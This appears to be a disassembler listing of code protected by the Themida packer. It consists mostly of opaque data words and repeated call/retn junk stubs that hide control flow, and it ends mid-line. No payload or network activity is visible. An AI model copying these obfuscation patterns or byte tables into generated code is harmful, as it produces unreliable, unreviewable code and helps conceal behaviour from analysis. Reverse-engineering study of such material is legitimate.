8FCC74F5h, 867521E9h, 4C325779h dd 0F525B43h, 525BDBBFh, 115DB589h, 0FF5B0610h, 10162195h dd 0B3BB6606h, 89BD8355h, 206100Fh, 3D840Fh, 0BD890000h dd 6102109h, 10C5858Bh, 0BB660610h, 0C649DDh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 934A072Ah, 0A25CCD6Dh, 68BBBC68h, 0C77A1016h, 102A2585h dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0E6CABA60h, 88467B3Bh, 2ACD9D8Bh dd 820F0610h, 4, 0B452BB66h, 0FFF3B9E9h, 50006AFFh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 5B4097E8h, 6623FFD9h, 0C18BD88Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 28C35545h db 39h, 78h ; --------------------------------------------------------------------------- loc_59426E: ; CODE XREF: Themida_:005934DBj lea eax, [ebp+61013B9h] push 0 push ecx call sub_59427F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59427F proc near ; CODE XREF: Themida_:00594277p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_59427F endp ; --------------------------------------------------------------------------- xchg eax, edx push 0FFFFFFE3h lodsb cdq xchg eax, ecx sbb [edx+42h], edx movzx ebx, si push eax mov [esp], eax jmp loc_5942AA ; --------------------------------------------------------------------------- db 0CCh ; --------------------------------------------------------------------------- retf 0BA78h ; --------------------------------------------------------------------------- mov dl, 5Fh loc_5942AA: ; CODE XREF: Themida_:0059429Fj mov di, 0BFEBh push 0 mov [ebp+6102065h], eax push 0 mov bx, 0FD5Bh mov ebx, esi lea eax, [ebp+6148FC0h] push 0 push ebp call sub_5942CF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5942CF proc near ; CODE XREF: Themida_:005942C7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5942CF endp ; --------------------------------------------------------------------------- xor eax, 0E8D59C3Dh js short loc_594346 sub esi, [ebp+61011BDh] mov di, bx popa mov [ebp+6100241h], eax add eax, 5 adc di, 2FFAh push eax jmp loc_59430A ; --------------------------------------------------------------------------- dd 27F86B07h db 3Dh, 86h ; --------------------------------------------------------------------------- loc_59430A: ; CODE XREF: Themida_:005942FFj mov [esp], eax push 0 push esi call sub_594318 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594318 proc near ; CODE XREF: Themida_:00594310p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_594318 endp ; --------------------------------------------------------------------------- dd 67B5A9B2h, 8B6E4679h, 1001119Dh, 0F006A06h, 6AD9B7h dd 0FFD88B66h, 101D1995h db 6, 1 ; --------------------------------------------------------------------------- loc_594346: ; CODE XREF: Themida_:005942E4j test ds:8D061028h, edx ; --------------------------------------------------------------------------- dd 13AFD88Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0A48A4109h, 0CC6CE185h, 0FD1FF87h dd 0BD83DAB7h, 6102209h, 0A4850F01h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 6714C351h, 419D8B3Eh, 6606102Ah, 6AEF57BFh, 0D9B70F02h dd 2890F90h, 8A000000h, 8B6650FEh, 6A90DEh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D6AC4AC3h dd 480425ECh, 0FE889D2h, 4B000000h, 0A8904721h, 4201F8F5h dd 3F200780h, 0FA8AD13Ah, 9595FF5Bh, 6A061004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0C00BC353h, 0A7090291h, 298D8965h ; --------------------------------------------------------------------------- adc dl, [eax] push es loc_59442B: ; DATA XREF: Themida_:0054B6ACo jmp loc_59524A ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 6148FCAh push 0 push edi call sub_594447 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594447 proc near ; CODE XREF: Themida_:0059443Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_594447 endp ; --------------------------------------------------------------------------- ror byte ptr [ebx+1030ADBDh], cl push es mov edi, 2EE61452h lea eax, [ebp+61399B6h] push 0 push edi call sub_594474 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594474 proc near ; CODE XREF: Themida_:0059446Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_594474 endp ; --------------------------------------------------------------------------- dd 0E9707A37h, 9E01FCFCh, 10E950h, 6B3E0000h, 0DF894861h dd 0F6C2992Fh, 0CCDD5F65h, 4892286h, 4880F24h, 66000000h dd 649298BBh, 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 65DE6BC3h, 0A50910F7h dd 0B9666041h, 61F86611h, 258964F5h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5944F3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5944F3 proc near ; CODE XREF: Themida_:005944EBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5944F3 endp ; --------------------------------------------------------------------------- db 0E7h dd 0AF7510D3h, 0FFFAB70Fh, 10141985h, 0D6F2BF06h, 0FF6A421Fh dd 6E9h, 8EA21200h, 0FFDDA5DDh, 10232DB5h, 5800F06h, 0BB000000h dd 5EFF1759h, 1E1BD2Bh, 95FF0610h, 6100615h, 115E9h, 0E900B000h dd 0Dh, 0C2226798h, 67911F71h, 8C3A7055h, 2970E6F2h, 10169985h dd 8971E406h, 1029798Dh, 0F613C06h, 0E983h, 20CB8000h dd 89C8B60Fh, 101AD19Dh, 6BA06h, 0BD8B0000h, 6100735h dd 0C18B97B3h, 0C141CB80h, 890F04E8h, 3, 66DBB70Fh, 0C82BE2F7h dd 72EF8166h, 0FD18B40h, 68Dh, 0DD8D8900h, 0E906102Eh dd 6, 5BD31h, 858B0610h, 6100989h, 0FE8h, 53C9200h, 1873E2D8h dd 0F798EC6h, 36D1450Fh, 18B59529h, 895F0610h, 101CDDBDh dd 7C08306h, 0AAC0BF66h, 6600C083h, 7818F781h, 830FD03Bh dd 1Dh, 0FD952960h, 0E9061022h, 5, 0BE851BD3h, 47E9616Ch dd 89000000h, 102061BDh, 758D8B06h, 0E9061028h, 8, 1864DB6h dd 2105F7C0h, 0F01E183h, 2584h, 758D0900h, 83061031h, 102875A5h dd 0BD8BFE06h, 6100949h, 9899589h, 8D0F0610h, 1, 0E9F9h dd 0B58D0000h, 61413DDh, 0B55BD8Bh, 6A0610h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 78C35141h, 7E4054B6h dd 0B5389C0Ah, 0FFD88B66h, 1031C995h, 45958906h, 0B9061008h dd 798h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 21C35747h, 7019CF8Dh, 83F5C23Eh, 6AFCE1h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0CD72A1C3h, 3250C9BBh, 0BE8B57Fh, 52000000h, 5D5C7659h dd 0F4FE446Ah, 0FC5F3F8Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 62C35545h, 29BDC5A9h, 102FE19Dh, 6AC02B06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 76E5C357h, 1128FE10h, 55B52988h, 2B061006h dd 0CC4ABFD2h, 33AD3D8Ch, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 816D2FC3h, 7FE25FC3h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0DDF8B38h, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 85C35343h, 18860Fh dd 13E90000h, 70000000h, 26100E9Dh, 0A720DFB4h, 65871D82h dd 0DCAAFD16h, 0BB66C863h, 958B9317h, 61009F5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A0C35646h, 2B5C64ACh dd 0B589B996h, 6101619h, 0BBE78151h, 5F29D899h, 23198D8Bh dd 0C7810610h, 577CECC6h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 95895818h, 61004FDh, 9E8h, 0AEC4A000h, 0D869961Bh dd 895F2536h, 1010C19Dh, 29BD8306h, 6101Eh, 84840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 7B2818C3h, 2198B23Dh, 0B3DF3856h, 0B822h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0DBCAC1C3h, 167B6B88h, 8D8DFE8Bh, 6104E85h, 0B973BB66h dd 29A19D29h, 0E1FF0610h, 10E8h, 0E807F800h, 0AD642B7Ah dd 45685121h, 95A41A84h, 0CD9D3387h, 5B06100Eh, 0D9589h dd 0BD830610h, 61022C1h, 28840F00h, 29000004h, 102D5185h dd 0C1BD8306h, 1061022h, 430840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 30E85DC3h dd 0E9FBBF0Fh, 12h, 0BFD479C5h, 7CA0AC1Ch, 9B372C1Ah, 96711B1Fh dd 0BD833A77h, 61022C1h, 0B5860F03h, 0E9000003h, 8, 948BA73Fh dd 0C029F67Eh, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 78C801BEh, 66A4B3A8h dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 9D8B06C3h, 6102771h, 1D31BD0Bh, 0E1800610h dd 9E904h, 0A6E40000h, 0A800A606h, 0AC62D85h, 0CA840FC9h dd 0F000000h, 858BF9B7h, 6102185h, 0EB5BD0Bh, 85330610h dd 61011FDh, 0C319D89h, 8B500610h, 240489D9h, 0A000BB66h dd 6ADAB70Fh, 7D8D3100h, 68061023h, 56AC3FECh, 4880Fh dd 0BB660000h, 3481BD9Fh, 0B33C1324h, 0D595FF56h, 6A061005h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 225EC357h, 6AC66C53h, 0F6446DFh, 687h, 0DB50900h dd 8906100Fh, 13C26D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 94290271h, 0B4330D74h dd 0E9F8B98Ah, 211h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0BFC35141h, 65858B27h, 6A0613C2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0C877C356h, 71C17F1Eh, 14E95Ch, 22940000h, 40E66161h dd 3C2B12D0h, 0B8462BECh, 571AA9E1h, 0C7B4DDh, 18h, 0C269B58Bh dd 8BF80613h, 100E2585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 2BD91F29h, 0FE9ADFDh dd 25000000h, 0A415E232h, 7C867Eh, 15AC5FAEh, 689A6CEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ACC35747h dd 858BFB46h, 6102185h, 21DD8529h, 46890610h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 6051D879h, 0EB5B533h, 0B58B0610h, 6102ED9h, 89505F61h dd 0BD8B2434h, 6101C0Dh, 0C265B5FFh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 522412C3h dd 60528ABFh, 7319D89h, 8A0F0610h, 6, 2D699D8Bh, 0BB610610h dd 34896301h, 4E8h, 1F03FF00h, 5059B700h, 8830Fh, 850F0000h dd 2, 448B5F57h, 1BB0424h, 8B54A325h, 89D88B00h, 58042444h dd 6D858DF9h, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0E13AC357h, 0FB20231Bh dd 29052FBBh, 348DB589h, 0F500610h, 505FDFBFh, 0DE9h, 0AC8D2C00h dd 19EAC323h, 0B3062DC5h, 48965D5h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 969CE869h dd 89284FB4h, 100B9D9Dh, 0D595FF06h, 6A061005h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0D78EC351h, 6A613Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 923EC0C3h, 0AA913888h, 2D819D23h dd 8B660610h, 519D31DFh, 0C7061000h, 1022C185h, 306h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0B45F0641h, 9D8B1406h, 6100E8Dh, 0C26DBD83h, 0F000613h dd 1384h, 3830F00h, 66000000h, 20E9DA8Bh, 66000000h, 0B780F781h dd 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0AAB0C351h, 0B4ED21F1h, 0F18D891Ch, 66061018h, 6A7F73BBh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0F513C355h, 898D0360h, 66061015h, 8CD7D081h dd 0C1BD8361h, 3061022h, 42F850Fh, 81660000h, 83D81AEFh dd 13C26DBDh, 840F0006h, 41Dh, 0B5FFD98Bh, 613C26Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B2C35747h, 2FA595FFh dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0B59AFEC3h, 0BD8BD08Ah, 6102829h, 0C261B58Bh dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BE86EC3h, 0AD000000h, 79B583CBh, 0B4E20B64h dd 8951413Bh, 101D11B5h, 0C75F5F06h, 1000106h, 4ABB6600h dd 45BD89FEh, 96061006h, 2820Fh, 5B520000h, 965B5750h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E0C35040h dd 0AE8h, 0D4F0ED00h, 0BBD0DFA4h, 0E99F04E2h, 14h, 8E64B6C8h dd 5F335E2Fh, 0E1E94FDBh, 0F43F9A28h, 4E20F059h, 6DB5FF5Bh dd 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 7C5C357h, 78920EAFh, 0BD2B05B2h dd 6101339h, 0D6B70F60h, 944318B9h, 95FF615Bh, 6101225h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0B5C35040h dd 0BD8BFAAEh, 6101929h, 0C261B58Bh, 8D010613h, 6103061h dd 0BE9h, 0D1122600h, 0A1DCF065h, 1121EDBCh, 21D1858Bh dd 95290610h, 61006F5h, 0C48689h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_594F42 proc near ; DATA XREF: ___:off_438C78o pusha cmc popa mov edx, [ebp+61009F5h] push 0 push eax call sub_594F56 and [eax-3Dh], bl sub_594F42 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_594F56 proc near ; CODE XREF: sub_594F42+Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_594F56 endp ; --------------------------------------------------------------------------- and [ebp+32h], bh stosb jnp short loc_594FA3 mov al, ds:8341B011h retn 8B04h ; --------------------------------------------------------------------------- mov ebp, 61011F9h jmp loc_594F90 ; --------------------------------------------------------------------------- dw 0BB44h dd 628C4AE6h, 30227D90h, 2159806h, 0C4D1E365h ; --------------------------------------------------------------------------- loc_594F90: ; CODE XREF: Themida_:00594F79j mov [eax+20h], edx push 0 push edx call sub_594F9E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594F9E proc near ; CODE XREF: Themida_:00594F96p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx loc_594FA3: ; CODE XREF: Themida_:00594F6Aj add [esp-4+arg_4], 19h inc edx push edx retn sub_594F9E endp ; sp-analysis failed ; --------------------------------------------------------------------------- das daa or bl, [ebx-247FC220h] cwde lea eax, [ebp+613D7C2h] push 0 push edi call sub_594FC8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594FC8 proc near ; CODE XREF: Themida_:00594FC0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_594FC8 endp ; --------------------------------------------------------------------------- pop ebp xor eax, 0C9ADBCE1h and al, [ebx+ecx*4] popf mov ch, 1Bh adc [esi], al mov ebx, 2837AA64h mov [esi+0B8h], eax push 0 push ecx call sub_594FFC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594FFC proc near ; CODE XREF: Themida_:00594FF4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_594FFC endp ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- test [edi-3A72761Eh], al adc edx, [eax] push es mov ebx, 34B7BC6Ah push 0 mov ebx, ecx push dword ptr [ebp+613C26Dh] mov [ebp+6100BC1h], ecx call dword ptr [ebp+6100495h] sub [ebp+6100779h], edi and bx, 4043h push eax mov bx, cx mov [esp], esi push 0 push edx call sub_59504E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59504E proc near ; CODE XREF: Themida_:00595046p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_59504E endp ; --------------------------------------------------------------------------- dw 5E6Eh ; --------------------------------------------------------------------------- cmp al, 0FFh mov ch, 6Dh retn 613h ; --------------------------------------------------------------------------- db 80h dd 6E841F7h, 8B000000h, 0B2B66E9Eh, 0D88B6683h, 2D95FF5Fh dd 8B061016h, 51BD83F8h, 61013h, 3C840Fh, 0BF0F0000h, 89BB66D8h dd 0BE850F7h, 71000000h, 4626B26Bh, 464C47CDh, 895BCE1Bh dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0C6C4F8C3h, 0B5FF9BF2h, 613C26Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F6C35141h, 0F58EC112h dd 95FFDA8Bh, 6100C19h, 20B9BD8Bh, 0DE8B0610h, 0C26DB5FFh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 16CDAFC3h, 9E375955h, 0EE8h, 0C6E15F00h dd 10E36EB5h, 14F28965h, 51DECCF5h, 0F0F38166h, 0FF5B5BF9h dd 10162195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0AC6B7BCEh, 3A4EAE01h, 0DD9D8BFAh dd 83061009h, 100F89BDh, 840F0206h, 51h, 18B9BD8Bh, 858B0610h dd 61010C5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 87C35040h, 0CDBCEF0h, 95893913h, 6100F09h, 0F80000C6h dd 0DE8h, 0C247B300h, 41841A64h, 0BA479BFFh, 0E78191C7h dd 1E696DFBh, 2585C75Fh, 6102Ah, 9000000h, 1009018Dh, 0F330E906h dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0E2E6E3C3h, 890F5681h, 0Ch, 6840Fh, 95890000h dd 61012B1h, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0A41DE1C3h, 6051D2C6h, 0F74C180h dd 8Ah, 665F6100h ; --------------------------------------------------------------------------- mov ebx, edx loc_59524A: ; CODE XREF: Themida_:loc_59442Bj lea eax, [ebp+61013B9h] jmp loc_59525D ; --------------------------------------------------------------------------- db 0FEh, 9, 0ABh dd 0A71414D3h db 0C6h ; --------------------------------------------------------------------------- loc_59525D: ; CODE XREF: Themida_:00595250j push eax call sub_595268 jz short loc_5952CE sahf jl short loc_5952E0 ; =============== S U B R O U T I N E ======================================= sub_595268 proc near ; CODE XREF: Themida_:0059525Ep arg_0 = dword ptr 4 mov bx, si pop edi mov [esp-4+arg_0], eax jmp loc_595282 ; --------------------------------------------------------------------------- dd 0ACDBAE84h, 298CD51h, 0AD27E80Ah db 0D2h, 7Ch ; --------------------------------------------------------------------------- loc_595282: ; CODE XREF: sub_595268+7j push 0 push 0 push eax call sub_59528F and [eax-3Dh], bl sub_595268 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59528F proc near ; CODE XREF: sub_595268+1Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_59528F endp ; --------------------------------------------------------------------------- icebp les ebp, [ecx] setalc inc edi punpckhdq mm0, qword ptr [eax] push 0 push eax call sub_5952B2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5952B2 proc near ; CODE XREF: Themida_:005952AAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5952B2 endp ; --------------------------------------------------------------------------- dw 0F637h ; --------------------------------------------------------------------------- inc eax sar cl, 8Dh test [eax+6A06149Fh], esp loc_5952CE: ; CODE XREF: Themida_:00595263j add [ebp-18h], dl add eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 0C35D2000h, 246C895Dh, 24448104h ; --------------------------------------------------------------------------- loc_5952E0: ; CODE XREF: Themida_:00595266j add al, 1Ah ; --------------------------------------------------------------------------- dw 0 dd 0C3554500h, 8488EEBAh, 89173E3Fh, 101FADBDh, 0CBD38106h dd 8365F715h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 7A2154C3h, 294E4E3Ah, 10348D9Dh dd 8D0F5006h, 5, 78A6B0BBh, 24048971h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 2AFB81C3h, 0A3A67B5Bh, 6AF533h, 1D1995FFh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 61D750C3h, 9D8BB4FCh, 6100B09h, 0AFD88D8Dh, 0F88B0613h dd 0F270F781h, 0D1FF4E32h, 31C58D31h, 9D030610h, 6101CADh dd 2209BD83h, 0F010610h, 5A85h, 2F6BF00h, 26A0385h, 0AE9h dd 0BFD9100h, 161B2E85h, 6601FE1Bh, 1B09F781h, 0FE950h dd 54670000h, 4E331F03h, 0F45940A5h, 4E3F5443h, 240489F9h dd 9595FFF8h, 6A061004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0FE8FC353h, 0E9D5F780h dd 0DBEh, 0E8h, 0ED815D00h, 6149FAAh, 14359D33h, 81660610h dd 81C720D7h, 933610D3h, 3850F20h, 0F000000h, 858DFFB7h dd 61399B6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0ADC35545h, 30A19D8Bh, 8F0F0610h, 0Bh, 45C38160h dd 8002A126h, 50618FC1h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9CACC357h dd 8E83Ah, 58230000h, 0BDF567F1h, 0EE8C9EEh, 0CF000000h dd 3D95FA85h, 4BB669BCh, 79E2AEADh, 0B6BF662Bh, 645B5BB4h dd 35FFh, 800F0000h, 2, 8964DE8Ah, 25h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 1BB06BDFh, 9D8B2680h, 6102FD1h, 1985FFF8h, 6A061014h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0FCECC357h, 0FF6AF88Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 55C35747h, 0CDB5FFh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0B537F6C3h, 9D893325h, 61012F9h, 0FFD88B66h, 10061595h dd 0FFE906h, 0C9B30000h, 10E800B0h, 56000000h, 0B731C262h dd 8A4EBED7h, 73C8321Bh, 0F6F5B7Eh, 8B5FFEB7h, 0F970E6DAh dd 9DBB71E4h, 0F3C4B3Bh, 0C81h, 7E900h, 481F0000h, 0D7B183E7h dd 0F613CC8h, 0BC83h, 68F0F00h, 89000000h, 100B5585h, 0C8B60F06h dd 6BAh, 66C18B00h, 0E8C1F88Bh, 3810F04h, 66000000h, 0F766FE8Bh dd 198D29E2h, 2B061006h, 558509C8h, 8B061006h, 6E9D1h dd 0BD890000h, 6100169h, 2D49858Bh, 5E80610h, 85000000h dd 28BB5A5h, 1FC19531h, 335F0610h, 10063D9Dh, 7C08306h dd 1FD9D8Bh, 0C0830610h, 0F7CB8100h, 3B6F7492h, 12830FD0h dd 0F8000000h, 20159D8Bh, 36E90610h, 29000000h, 1029A9BDh dd 0A58D8B06h, 6606100Bh, 0E183F98Bh, 1E840F01h, 23000000h dd 1005859Dh, 0A5A58306h, 0FE06100Bh, 89F9B70Fh, 102D4995h dd 0A0EB8006h, 0E9h, 86B58D00h, 0F06141Dh, 688h, 0A98D8900h dd 6A061014h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 1ED78047h, 31C995FFh, 9D8B0610h dd 610010Dh, 8B2B9h, 83D88A00h, 6AFCE1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C3479AC3h dd 5B2D98AEh, 0B818589h, 0FFC0610h, 58Ch, 63FFBB00h, 0C02B6877h dd 14E9h, 0DFA21D00h, 63D7420Eh, 0EA206C95h, 51A88CF8h dd 0B0EB8191h, 0BA9Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 2B5F03C3h, 1F5D1B0Bh dd 8B0F92EDh, 2Ah, 0BE8h, 3A045F00h, 0AA9F0D28h, 80AE1BE6h dd 14E9h, 81270C00h, 9791EFA1h, 0CF306183h, 13F429A2h dd 0ECFEEC41h, 33AD5B8Dh, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 1A0208C3h, 0D8B70FF2h, 880Dh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0D7815023h dd 3D50B534h, 0F5958B5Fh, 66061009h, 8D8BF88Bh, 6102319h dd 0C28B50F5h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6658188Bh dd 3E55CB81h, 6ADFB70Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0C059C356h, 0A58589DFh dd 8B061031h, 102265BDh, 29BD8306h, 6101Eh, 8E840Fh, 810F0000h dd 3, 0B8FEBF0Fh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_595833 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595833 proc near ; CODE XREF: Themida_:0059582Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_595833 endp ; --------------------------------------------------------------------------- db 57h dd 9BD8974h, 8B061005h, 100955BDh, 858D8D06h, 0BF06104Eh dd 501D8755h, 8E9h, 0CD2A3D00h, 8329CB63h, 6AE1FF53h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 8D43C351h, 2146C2C9h, 10E9F0B4h, 0A5000000h, 2CD23DDBh dd 4A1CDDAFh, 3C18D99Ah, 0BF8930CBh, 66ECFA9Ah, 22C1BD83h dd 0F000610h, 45284h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 17005B99h, 30F0C91Bh dd 11E924h, 0E80F0000h, 488595B2h, 0A0AA89CDh, 9F7AF4CAh dd 832A5271h, 1022C1BDh, 840F0106h, 426h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 14C35646h, 3AB217D1h dd 5830Fh, 81660000h, 83A00DCFh, 1022C1BDh, 860F0306h dd 3B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 64C35646h, 0D6F380CDh, 51006A60h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0E579947Ch dd 0EF083899h, 0D98C667Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 82C35242h, 0BB21DA25h, 269AA6F0h, 6A04E180h dd 3E85500h, 20000000h, 895DC35Dh, 